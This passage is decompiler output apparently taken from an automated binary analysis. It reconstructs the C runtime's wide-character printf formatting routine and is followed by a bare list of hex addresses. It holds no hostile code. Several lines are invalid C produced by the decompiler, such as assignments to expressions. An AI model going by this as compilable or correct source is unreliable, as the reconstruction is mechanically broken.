																	 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																	 *(__ebp - 0x454) = __ax;
																	goto L112;
																case 1:
																	L58:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__edx =  *(__ebp - 0x10);
																		__edx =  *(__ebp - 0x10) | 0x00000020;
																		__eflags = __edx;
																		 *(__ebp - 0x10) = __edx;
																	}
																	goto L60;
																case 2:
																	L73:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000020;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	}
																	goto L75;
																case 3:
																	L135:
																	 *(__ebp - 0x460) = 7;
																	L136:
																	 *(__ebp - 8) = 0x10;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																	__eflags =  *(__ebp - 0x10) & 0x00000080;
																	if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																		__edx = 0x30;
																		 *(__ebp - 0x14) = __dx;
																		 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
																		__eflags =  *(__ebp - 0x460) + 0x51;
																		 *(__ebp - 0x12) = __ax;
																		 *(__ebp - 0x1c) = 2;
																	}
																	goto L141;
																case 4:
																	L66:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x470) = E00429820(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x470);
																	if( *(__ebp - 0x470) == 0) {
																		L68:
																		__edx =  *0x44ba18; // 0x409128
																		 *(__ebp - 4) = __edx;
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E00427150( *(__ebp - 4));
																		L72:
																		goto L178;
																	}
																	L67:
																	__ecx =  *(__ebp - 0x470);
																	__eflags =  *(__ecx + 4);
																	if( *(__ecx + 4) != 0) {
																		L69:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																		__eflags =  *(__ebp - 0x10) & 0x00000800;
																		if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																			 *(__ebp - 0xc) = 0;
																			__edx =  *(__ebp - 0x470);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x470);
																			__edx =  *__ecx;
																			 *(__ebp - 0x24) =  *__ecx;
																		} else {
																			__edx =  *(__ebp - 0x470);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x470);
																			__eax =  *__ecx;
																			asm("cdq");
																			 *__ecx - __edx =  *__ecx - __edx >> 1;
																			 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																			 *(__ebp - 0xc) = 1;
																		}
																		goto L72;
																	}
																	goto L68;
																case 5:
																	L112:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	__edx = __ebp - 0x448;
																	 *(__ebp - 4) = __ebp - 0x448;
																	 *(__ebp - 0x44) = 0x200;
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) >= 0) {
																		L114:
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) != 0) {
																			L117:
																			__eflags =  *(__ebp - 0x30) - 0x200;
																			if( *(__ebp - 0x30) > 0x200) {
																				 *(__ebp - 0x30) = 0x200;
																			}
																			L119:
																			__eflags =  *(__ebp - 0x30) - 0xa3;
																			if( *(__ebp - 0x30) > 0xa3) {
																				__ecx =  *(__ebp - 0x30);
																				__ecx =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x20) = L00421A30( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																				__eflags =  *(__ebp - 0x20);
																				if( *(__ebp - 0x20) == 0) {
																					 *(__ebp - 0x30) = 0xa3;
																				} else {
																					__edx =  *(__ebp - 0x20);
																					 *(__ebp - 4) =  *(__ebp - 0x20);
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																				}
																			}
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			__edx =  *(__ebp + 0x14);
																			__eax =  *(__edx - 8);
																			__ecx =  *(__edx - 4);
																			 *(__ebp - 0x490) =  *(__edx - 8);
																			 *(__ebp - 0x48c) =  *(__edx - 4);
																			__ecx = __ebp - 0x40;
																			_push(E00423790(__ebp - 0x40));
																			__edx =  *(__ebp - 0x2c);
																			_push( *(__ebp - 0x2c));
																			__eax =  *(__ebp - 0x30);
																			_push( *(__ebp - 0x30));
																			__ecx =  *(__ebp - 0x454);
																			_push( *(__ebp - 0x454));
																			__edx =  *(__ebp - 0x44);
																			_push( *(__ebp - 0x44));
																			__eax =  *(__ebp - 4);
																			_push(__eax);
																			__ecx = __ebp - 0x490;
																			_push(__ebp - 0x490);
																			__edx =  *0x44ba08; // 0xae625e32
																			_push(__edx);
																			__imp__DecodePointer();
																			__eax =  *__eax();
																			__esp = __esp + 0x1c;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) == 0) {
																					__ecx = __ebp - 0x40;
																					__eax = E00423790(__ebp - 0x40);
																					_push(__eax);
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx =  *0x44ba14; // 0xae625e32
																					_push(__edx);
																					__imp__DecodePointer();
																					__eax =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__eax =  *(__ebp - 0x454) & 0x0000ffff;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																			if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E00423790(__ebp - 0x40));
																					__edx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__eax =  *0x44ba10; // 0xae625e32
																					_push(__eax);
																					__imp__DecodePointer();
																					__eax =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__ecx =  *(__ebp - 4);
																			__edx =  *( *(__ebp - 4));
																			__eflags =  *( *(__ebp - 4)) - 0x2d;
																			if( *( *(__ebp - 4)) == 0x2d) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				__ecx =  *(__ebp - 4);
																				__ecx =  *(__ebp - 4) + 1;
																				__eflags = __ecx;
																				 *(__ebp - 4) = __ecx;
																			}
																			__edx =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E00427150( *(__ebp - 4));
																			do {
																				L178:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L203;
																				}
																				goto L179;
																			} while ( *(__ebp - 0x4dc) > 0x37);
																			goto L57;
																		}
																		L115:
																		__eax =  *(__ebp - 0x454) & 0x0000ffff;
																		__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																		if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																			goto L117;
																		}
																		L116:
																		 *(__ebp - 0x30) = 1;
																		goto L119;
																	}
																	L113:
																	 *(__ebp - 0x30) = 6;
																	goto L119;
																case 6:
																	L60:
																	 *(__ebp - 0xc) = 1;
																	__ebp + 0x14 = E00429820(__ebp + 0x14);
																	 *(__ebp - 0x458) = __ax;
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) & 0x00000020;
																	__eflags = __ecx;
																	if(__ecx == 0) {
																		__cx =  *(__ebp - 0x458);
																		 *(__ebp - 0x448) = __cx;
																	} else {
																		 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																		 *(__ebp - 0x46c) = __dl;
																		 *((char*)(__ebp - 0x46b)) = 0;
																		__ecx = __ebp - 0x40;
																		__eax = E00423790(__ebp - 0x40);
																		__ecx = __ebp - 0x40;
																		E00423790(__ebp - 0x40) =  *__eax;
																		__ecx =  *(__ebp - 0x448 + 0xac);
																		__edx = __ebp - 0x46c;
																		__eax = __ebp - 0x448;
																		__eax = E00439180(__ebp - 0x448, __ebp - 0x46c,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																		__eflags = __eax;
																		if(__eax < 0) {
																			 *(__ebp - 0x28) = 1;
																		}
																	}
																	__edx = __ebp - 0x448;
																	 *(__ebp - 4) = __ebp - 0x448;
																	 *(__ebp - 0x24) = 1;
																	while(1) {
																		L178:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L203;
																		}
																		goto L179;
																	}
																case 7:
																	L132:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 8) = 0xa;
																	L141:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																	__eflags =  *(__ebp - 0x10) & 0x00008000;
																	if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																		__eflags =  *(__ebp - 0x10) & 0x00001000;
																		if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					__ecx = __ebp + 0x14;
																					__eax = E00429820(__ebp + 0x14);
																					__edx = 0;
																					__eflags = 0;
																					 *(__ebp - 0x4a0) = __eax;
																					 *(__ebp - 0x49c) = 0;
																				} else {
																					__eax = __ebp + 0x14;
																					__eax = E00429820(__ebp + 0x14);
																					asm("cdq");
																					 *(__ebp - 0x4a0) = __eax;
																					 *(__ebp - 0x49c) = __edx;
																				}
																			} else {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					__ecx = __ebp + 0x14;
																					E00429820(__ebp + 0x14) = __ax & 0x0000ffff;
																					asm("cdq");
																					 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																					 *(__ebp - 0x49c) = __edx;
																				} else {
																					__eax = __ebp + 0x14;
																					__eax = E00429820(__ebp + 0x14);
																					__ax = __eax;
																					asm("cdq");
																					 *(__ebp - 0x4a0) = __eax;
																					 *(__ebp - 0x49c) = __edx;
																				}
																			}
																		} else {
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x4a0) = E00429840(__ebp + 0x14);
																			 *(__ebp - 0x49c) = __edx;
																		}
																	} else {
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x4a0) = E00429840(__ebp + 0x14);
																		 *(__ebp - 0x49c) = __edx;
																	}
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																	__eflags =  *(__ebp - 0x10) & 0x00000040;
																	if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																		goto L158;
																	}
																case 8:
																	L97:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x480) = E00429820(__ebp + 0x14);
																	__eax = E004390D0();
																	__eflags = __eax;
																	if(__eax != 0) {
																		L107:
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) & 0x00000020;
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			__ecx =  *(__ebp - 0x480);
																			__edx =  *(__ebp - 0x44c);
																			 *__ecx =  *(__ebp - 0x44c);
																		} else {
																			__edx =  *(__ebp - 0x480);
																			__ax =  *(__ebp - 0x44c);
																			 *( *(__ebp - 0x480)) = __ax;
																		}
																		 *(__ebp - 0x28) = 1;
																		while(1) {
																			L178:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L203;
																			}
																			goto L179;
																		}
																	}
																	L98:
																	__ecx = 0;
																	__eflags = 0;
																	if(0 == 0) {
																		 *(__ebp - 0x4e4) = 0;
																	} else {
																		 *(__ebp - 0x4e4) = 1;
																	}
																	__edx =  *(__ebp - 0x4e4);
																	 *(__ebp - 0x484) =  *(__ebp - 0x4e4);
																	__eflags =  *(__ebp - 0x484);
																	if( *(__ebp - 0x484) == 0) {
																		_push(L"(\"\'n\' format specifier disabled\", 0)");
																		_push(0);
																		_push(0x695);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		__eax = L00427590();
																		__esp = __esp + 0x14;
																		__eflags = __eax - 1;
																		if(__eax == 1) {
																			asm("int3");
																		}
																	}
																	__eflags =  *(__ebp - 0x484);
																	if( *(__ebp - 0x484) != 0) {
																		L106:
																		while(1) {
																			L178:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L203;
																			}
																			goto L179;
																		}
																	} else {
																		L105:
																		 *((intOrPtr*)(L004256E0(__ecx))) = 0x16;
																		__eax = E00428500(__ecx, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																		 *(__ebp - 0x4c4) = 0xffffffff;
																		__ecx = __ebp - 0x40;
																		__eax = E00423760(__ecx);
																		__eax =  *(__ebp - 0x4c4);
																		L207:
																		__eflags =  *(_t492 - 0x48) ^ _t492;
																		return E00425740(_t463, _t472,  *(_t492 - 0x48) ^ _t492, _t485, _t490, _t491);
																	}
																case 9:
																	L139:
																	 *(__ebp - 8) = 8;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																	__eflags =  *(__ebp - 0x10) & 0x00000080;
																	if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																		__edx =  *(__ebp - 0x10);
																		__edx =  *(__ebp - 0x10) | 0x00000200;
																		__eflags = __edx;
																		 *(__ebp - 0x10) = __edx;
																	}
																	while(1) {
																		L141:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E00429820(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00429820(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E00429820(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																						 *(__ebp - 0x49c) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00429820(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00429840(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x4a0) = E00429840(__ebp + 0x14);
																			 *(__ebp - 0x49c) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L158;
																		}
																		goto L154;
																	}
																case 0xa:
																	L134:
																	 *(__ebp - 0x30) = 8;
																	goto L135;
																case 0xb:
																	L75:
																	__eflags =  *(__ebp - 0x30) - 0xffffffff;
																	if( *(__ebp - 0x30) != 0xffffffff) {
																		__edx =  *(__ebp - 0x30);
																		 *(__ebp - 0x4e0) =  *(__ebp - 0x30);
																	} else {
																		 *(__ebp - 0x4e0) = 0x7fffffff;
																	}
																	__eax =  *(__ebp - 0x4e0);
																	 *(__ebp - 0x478) =  *(__ebp - 0x4e0);
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 4) = E00429820(__ebp + 0x14);
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																	__eflags =  *(__ebp - 0x10) & 0x00000020;
																	if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																		L89:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__ecx =  *0x44ba1c; // 0x409118
																			 *(__ebp - 4) = __ecx;
																		}
																		 *(__ebp - 0xc) = 1;
																		__edx =  *(__ebp - 4);
																		 *(__ebp - 0x47c) =  *(__ebp - 4);
																		while(1) {
																			L92:
																			__eax =  *(__ebp - 0x478);
																			__ecx =  *(__ebp - 0x478);
																			__ecx =  *(__ebp - 0x478) - 1;
																			 *(__ebp - 0x478) = __ecx;
																			__eflags =  *(__ebp - 0x478);
																			if( *(__ebp - 0x478) == 0) {
																				break;
																			}
																			L93:
																			__edx =  *(__ebp - 0x47c);
																			__eax =  *( *(__ebp - 0x47c)) & 0x0000ffff;
																			__eflags =  *( *(__ebp - 0x47c)) & 0x0000ffff;
																			if(( *( *(__ebp - 0x47c)) & 0x0000ffff) == 0) {
																				break;
																			}
																			L94:
																			 *(__ebp - 0x47c) =  *(__ebp - 0x47c) + 2;
																			 *(__ebp - 0x47c) =  *(__ebp - 0x47c) + 2;
																		}
																		L95:
																		__edx =  *(__ebp - 0x47c);
																		__edx =  *(__ebp - 0x47c) -  *(__ebp - 4);
																		__eflags = __edx;
																		 *(__ebp - 0x24) = __edx;
																		goto L96;
																	} else {
																		L79:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__eax =  *0x44ba18; // 0x409128
																			 *(__ebp - 4) = __eax;
																		}
																		__ecx =  *(__ebp - 4);
																		 *(__ebp - 0x474) = __ecx;
																		 *(__ebp - 0x24) = 0;
																		while(1) {
																			L83:
																			__eax =  *(__ebp - 0x24);
																			__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x478);
																			if( *(__ebp - 0x24) >=  *(__ebp - 0x478)) {
																				break;
																			}
																			L84:
																			__ecx =  *(__ebp - 0x474);
																			__edx =  *__ecx;
																			__eflags =  *__ecx;
																			if( *__ecx == 0) {
																				break;
																			}
																			L85:
																			__ecx = __ebp - 0x40;
																			E00423790(__ebp - 0x40) =  *(__ebp - 0x474);
																			__ecx =  *( *(__ebp - 0x474)) & 0x000000ff;
																			__eax = E00439110( *( *(__ebp - 0x474)) & 0x000000ff,  *(__ebp - 0x474));
																			__eflags = __eax;
																			if(__eax != 0) {
																				__edx =  *(__ebp - 0x474);
																				__edx =  *(__ebp - 0x474) + 1;
																				__eflags = __edx;
																				 *(__ebp - 0x474) = __edx;
																			}
																			 *(__ebp - 0x474) =  *(__ebp - 0x474) + 1;
																			 *(__ebp - 0x474) =  *(__ebp - 0x474) + 1;
																			__edx =  *(__ebp - 0x24);
																			__edx =  *(__ebp - 0x24) + 1;
																			__eflags = __edx;
																			 *(__ebp - 0x24) = __edx;
																		}
																		L88:
																		L96:
																		while(1) {
																			L178:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L203;
																			}
																			goto L179;
																		}
																	}
																case 0xc:
																	L133:
																	 *(__ebp - 8) = 0xa;
																	while(1) {
																		L141:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E00429820(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00429820(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E00429820(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																						 *(__ebp - 0x49c) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00429820(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00429840(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x4a0) = E00429840(__ebp + 0x14);
																			 *(__ebp - 0x49c) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L158;
																		}
																		goto L154;
																	}
																case 0xd:
																	goto L0;
																case 0xe:
																	while(1) {
																		L178:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L203;
																		}
																		goto L179;
																	}
															}
														case 8:
															L15:
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) | 0x00000002;
															 *(__ebp - 0x10) = __ecx;
															goto L18;
														case 9:
															L16:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															goto L18;
														case 0xa:
															L14:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
															goto L18;
														case 0xb:
															L13:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															goto L18;
														case 0xc:
															L17:
															__eax =  *(__ebp - 0x10);
															__eax =  *(__ebp - 0x10) | 0x00000008;
															__eflags = __eax;
															 *(__ebp - 0x10) = __eax;
															goto L18;
														case 0xd:
															L18:
															goto L205;
													}
												}
												L206:
												 *((intOrPtr*)(_t492 - 0x4c8)) =  *((intOrPtr*)(_t492 - 0x44c));
												E00423760(_t492 - 0x40);
												_t463 =  *((intOrPtr*)(_t492 - 0x4c8));
												goto L207;
											}
										}
										L175:
										__eflags =  *(__ebp - 0x24);
										if( *(__ebp - 0x24) == 0) {
											L177:
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											__eax =  *(__ebp - 4);
											 *( *(__ebp - 4)) = 0x30;
											__ecx =  *(__ebp - 0x24);
											__ecx =  *(__ebp - 0x24) + 1;
											__eflags = __ecx;
											 *(__ebp - 0x24) = __ecx;
											goto L178;
										}
										L176:
										__eax =  *(__ebp - 4);
										__ecx =  *( *(__ebp - 4));
										__eflags = __ecx - 0x30;
										if(__ecx == 0x30) {
											goto L178;
										}
										goto L177;
									}
									L171:
									__eax =  *(__ebp - 8);
									asm("cdq");
									__ecx =  *(__ebp - 0x4a4);
									__edx =  *(__ebp - 0x4a8);
									__eax = E00437DD0( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8),  *(__ebp - 0x4a8));
									 *(__ebp - 0x494) = __eax;
									__eax =  *(__ebp - 8);
									asm("cdq");
									__eax =  *(__ebp - 0x4a4);
									__ecx =  *(__ebp - 0x4a8);
									 *(__ebp - 0x4a8) = E00437D60( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8), __edx);
									 *(__ebp - 0x4a4) = __edx;
									__eflags =  *(__ebp - 0x494) - 0x39;
									if( *(__ebp - 0x494) > 0x39) {
										__edx =  *(__ebp - 0x494);
										__edx =  *(__ebp - 0x494) +  *(__ebp - 0x460);
										__eflags = __edx;
										 *(__ebp - 0x494) = __edx;
									}
									__eax =  *(__ebp - 4);
									 *( *(__ebp - 4)) =  *(__ebp - 0x494);
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									L169:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L171;
									}
									goto L170;
								}
							}
							L156:
							__eflags =  *(__ebp - 0x4a0);
							if( *(__ebp - 0x4a0) >= 0) {
								goto L158;
							}
							goto L157;
							L158:
							__ecx =  *(__ebp - 0x4a0);
							 *(__ebp - 0x4a8) =  *(__ebp - 0x4a0);
							__edx =  *(__ebp - 0x49c);
							 *(__ebp - 0x4a4) =  *(__ebp - 0x49c);
							goto L159;
						}
					}
				}
			}

0x00429164
0x00429164
0x00429164
0x00429164
0x0042916e
0x0042916e
0x0042916e
0x00429178
0x00429178
0x0042917e
0x00429180
0x00429185
0x0042918f
0x0042918f
0x00429192
0x00429196
0x00429196
0x004291bd
0x004291bd
0x004291c0
0x004291c0
0x004291c5
0x004291e7
0x004291e7
0x004291ed
0x0042920f
0x0042920f
0x00429212
0x00429259
0x00429259
0x0042925c
0x00429279
0x0042927d
0x00429285
0x00429285
0x00429287
0x0042928d
0x0042925e
0x0042925e
0x00429262
0x0042926a
0x0042926b
0x00429271
0x00429271
0x00429214
0x00429217
0x00429217
0x0042921a
0x00429238
0x00429244
0x00429247
0x00429248
0x0042924e
0x0042921c
0x0042921c
0x00429220
0x00429228
0x00429229
0x0042922a
0x00429230
0x00429230
0x00429254
0x004291ef
0x004291ef
0x004291fb
0x00429201
0x00429201
0x004291c7
0x004291c7
0x004291d3
0x004291d9
0x004291d9
0x00429296
0x00429296
0x00429299
0x00000000
0x00000000
0x0042929b
0x0042929b
0x004292a2
0x00000000
0x00000000
0x004292a4
0x004292a4
0x004292af
0x004292b5
0x004292b7
0x004292bd
0x004292c0
0x004292c2
0x004292c8
0x004292d1
0x004292d6
0x004292f3
0x004292f6
0x004292f6
0x004292fb
0x00429300
0x00429300
0x00429306
0x00429308
0x0042930e
0x00429314
0x00429314
0x0042931d
0x0042931d
0x00429306
0x00429323
0x00429327
0x00429335
0x00429338
0x0042933b
0x00429342
0x00429344
0x00429344
0x00429329
0x00429329
0x00429329
0x00429351
0x00429351
0x00429357
0x00429359
0x00429359
0x00429360
0x00429366
0x00429369
0x00429369
0x00429369
0x0042936f
0x00429372
0x00429375
0x00429377
0x00000000
0x00000000
0x00429379
0x0042937f
0x0042937f
0x00429385
0x00429402
0x00429408
0x0042940b
0x0042940e
0x00429411
0x00429414
0x0042941a
0x0042941a
0x00429420
0x0042944b
0x0042944b
0x0042944b
0x0042944f
0x00000000
0x00000000
0x00429455
0x00429458
0x00429458
0x0042945b
0x00429460
0x00429460
0x00429465
0x0042947c
0x0042947c
